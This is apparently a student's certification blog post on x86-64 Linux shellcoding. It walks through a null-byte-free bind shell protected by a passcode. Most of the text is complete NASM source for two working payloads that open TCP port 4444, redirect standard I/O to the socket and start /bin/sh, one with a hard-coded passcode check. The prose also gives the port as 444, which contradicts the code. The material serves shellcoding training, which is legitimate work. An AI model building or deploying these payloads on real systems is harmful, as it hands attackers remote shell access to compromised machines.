This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
Student ID: PA-6470
Assignment #1
The aim of this assignment is to create a bind shellcode with a passcode and to remove all 0x00 from opcodes.
This shellcode opens a TCP socket and listens on port 4444 :
You can connect to this shellcode using netcat command on port 444 :
A passcode is required, enter pwd and return key.
Here we are on the /bin/sh shell !
Here are the opcodes of this shellcode, as you can see there are no 0x00 :
I’ll not detail all parts of this shellcode because there are very similar to the standard TCP bind shellcode seen in SLAE64 course.
However I’ll explain the passcode code part and how I’ve removed the 0x00.
First, we need to print a passcode text string. The string I’ve chosen is 12 characters long (with a space character at the end) :
#passcode :
which is 0x2370617373636f6465203a20 in hexadecimal. Due to the stack technique we need to push this value in reverse order :
push 0x203a2065 ; #passcode : mov rbx, 0x646f637373617023 ; #passcode : push rbx
Then we can print this text using syscall 1. All syscalls can be found here : http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
rdi = file descriptor = 1 = stdout
rsi = text buffer to print = rsp = 0x2370617373636f6465203a20 in reverse order
rdx = text buffer size
xor rdx, rdx mov dl, passcode_required_size mov rsi, rsp xor rdi, rdi mov dil, 1 ; stdout xor rax, rax mov al, 1 ; sys_write syscall
Then we need to ask and wait for user input and store user passcode string in memory. In order to give memory space for user string, I’ve chosen to push 8 characters on the stack and to give this pointer to rsi :
; user input ;mov rdx, buffer_size xor rdx, rdx mov dl, buffer_size ;mov rsi, buffer mov rbx, 0x0101010101010101 push rbx mov rsi, rsp xor rdi, rdi ; stdin xor rax, rax syscall ; sys_read
Then we need to check passcode. First I put the correct passcode pwd0x0a on the stack and store it in rdi pointer register. Then whithin a loop I compare each character from user input (rsi register) with each character from correct passcode (rdi register). If there is a difference I jump to the exit code part. If all is OK I just continue to the standard shellcode part.
In order to remove 0x00 I’m using :
- xor <register>, <register> followed by a « small » register technique :
xor rdi, rdi mov dil, 1
- push data on stack instead of using data segment :
push 0x0a647770 ; pwd0x0a mov rdi, rsp
So here is the check passcode code part :
; check passcode push 0x0a647770 ; pwd0x0a mov rdi, rsp xor rcx, rcx dec rcx cmp_pwd: inc rcx mov al, byte [rsi + rcx] mov dl, byte [rdi + rcx] cmp al, dl ; compare each character jne exit ; jump out of loop if they are not the same cmp dl, 0x0a ; end of string ? jne cmp_pwd ; not finished, loop again
Full source code is available here and on my Github account.
Source code of bind-shell-passcode-safe.nasm
; This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification : ; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html ; ; Author : SLAE64-PA-6470 (kahlon81) ; Date : 2018/02/21 ; ; nasm -f elf64 bind-shell-passcode-safe.nasm -o bind-shell-passcode-safe.o ; ld bind-shell-passcode-safe.o -o bind-shell-passcode-safe global _start section .bss buffer resb 20 ; buffer of 20 bytes buffer_size equ $ - buffer ; buffer size section .data passcode: db 'pwd',0x0a passcode_required: db '#passcode : ' passcode_required_size equ $ - passcode_required section .text _start: ; sock = socket(AF_INET, SOCK_STREAM, 0) ; AF_INET = 2 ; SOCK_STREAM = 1 ; syscall number 41 xor rax, rax mov al, 41 xor rdi, rdi mov dil, 2 xor rsi, rsi mov sil, 1 xor rdx, rdx syscall ; copy socket descriptor to rdi for future use mov rdi, rax ; server.sin_family = AF_INET ; server.sin_port = htons(PORT) ; server.sin_addr.s_addr = INADDR_ANY ; bzero(&server.sin_zero, 8) xor rax, rax push rax mov dword [rsp-4], eax mov word [rsp-6], 0x5c11 mov word [rsp-8], 0x1FF sub word [rsp-8], 0x1FD sub rsp, 8 ; bind(sock, (struct sockaddr *)&server, sockaddr_len) ; syscall number 49 xor rax, rax mov al, 49 mov rsi, rsp xor rdx, rdx mov dl, 16 syscall ; listen(sock, MAX_CLIENTS) ; syscall number 50 xor rax, rax mov al, 50 xor rsi, rsi mov sil, 2 syscall ; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len) ; syscall number 43 xor rax, rax mov al, 43 sub rsp, 16 mov rsi, rsp mov byte [rsp-1], 16 sub rsp, 1 mov rdx, rsp syscall ; store the client socket description mov r9, rax ; close parent xor rax, rax mov al, 3 syscall ; duplicate sockets ; dup2 (new, old) mov rdi, r9 xor rax, rax mov al, 33 xor rsi, rsi syscall xor rax, rax mov al, 33 xor rsi ,rsi mov sil, 1 syscall xor rax, rax mov al, 33 xor rsi, rsi mov sil, 2 syscall ; passcode is required xor rdx, rdx mov dl, passcode_required_size ;mov rsi, passcode_required push 0x203a2065 ; #passcode : mov rbx, 0x646f637373617023 ; #passcode : push rbx mov rsi, rsp xor rdi, rdi mov dil, 1 ; stdout xor rax, rax mov al, 1 ; sys_write syscall ; user input ;mov rdx, buffer_size xor rdx, rdx mov dl, buffer_size ;mov rsi, buffer mov rbx, 0x0101010101010101 push rbx mov rsi, rsp xor rdi, rdi ; stdin xor rax, rax syscall ; sys_read ; check passcode ;lea rsi, [buffer] ; user passcode ;mov rsi, buffer ;lea rdi, [passcode] ; true passcode ;mov rdi, passcode push 0x0a647770 ; pwd0x0a mov rdi, rsp xor rcx, rcx dec rcx cmp_pwd: inc rcx mov al, byte [rsi + rcx] mov dl, byte [rdi + rcx] cmp al, dl ; compare each character jne exit ; jump out of loop if they are not the same cmp dl, 0x0a ; end of string ? jne cmp_pwd ; not finished, loop again ; shellcode ; execve ; First NULL push xor rax, rax push rax ; push /bin//sh in reverse mov rbx, 0x68732f2f6e69622f push rbx ; store /bin//sh address in RDI mov rdi, rsp ; Second NULL push push rax ; set RDX mov rdx, rsp ; push address of /bin//sh push rdi ; set RSI mov rsi, rsp ; Call the execve syscall add rax, 59 syscall exit: xor rdi, rdi add dil, 1 xor rax, rax add al, 60 syscall
Source code of bind-shell-safe.nasm
; This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification : ; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html ; ; Author : SLAE64-PA-6470 (kahlon81) ; Date : 2018/02/21 ; ; nasm -f elf64 bind-shell-safe.nasm -o bind-shell-safe.o ; ld bind-shell-safe.o -o bind-shell-safe global _start _start: ; sock = socket(AF_INET, SOCK_STREAM, 0) ; AF_INET = 2 ; SOCK_STREAM = 1 ; syscall number 41 xor rax, rax mov al, 41 xor rdi, rdi mov dil, 2 xor rsi, rsi mov sil, 1 xor rdx, rdx syscall ; copy socket descriptor to rdi for future use mov rdi, rax ; server.sin_family = AF_INET ; server.sin_port = htons(PORT) ; server.sin_addr.s_addr = INADDR_ANY ; bzero(&server.sin_zero, 8) xor rax, rax push rax mov dword [rsp-4], eax mov word [rsp-6], 0x5c11 mov word [rsp-8], 0x1FF sub word [rsp-8], 0x1FD sub rsp, 8 ; bind(sock, (struct sockaddr *)&server, sockaddr_len) ; syscall number 49 xor rax, rax mov al, 49 mov rsi, rsp xor rdx, rdx mov dl, 16 syscall ; listen(sock, MAX_CLIENTS) ; syscall number 50 xor rax, rax mov al, 50 xor rsi, rsi mov sil, 2 syscall ; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len) ; syscall number 43 xor rax, rax mov al, 43 sub rsp, 16 mov rsi, rsp mov byte [rsp-1], 16 sub rsp, 1 mov rdx, rsp syscall ; store the client socket description mov r9, rax ; close parent xor rax, rax mov al, 3 syscall ; duplicate sockets ; dup2 (new, old) mov rdi, r9 xor rax, rax mov al, 33 xor rsi, rsi syscall xor rax, rax mov al, 33 xor rsi ,rsi mov sil, 1 syscall xor rax, rax mov al, 33 xor rsi, rsi mov sil, 2 syscall ; execve ; First NULL push xor rax, rax push rax ; push /bin//sh in reverse mov rbx, 0x68732f2f6e69622f push rbx ; store /bin//sh address in RDI mov rdi, rsp ; Second NULL push push rax ; set RDX mov rdx, rsp ; Push address of /bin//sh push rdi ; set RSI mov rsi, rsp ; Call the Execve syscall add rax, 59 syscall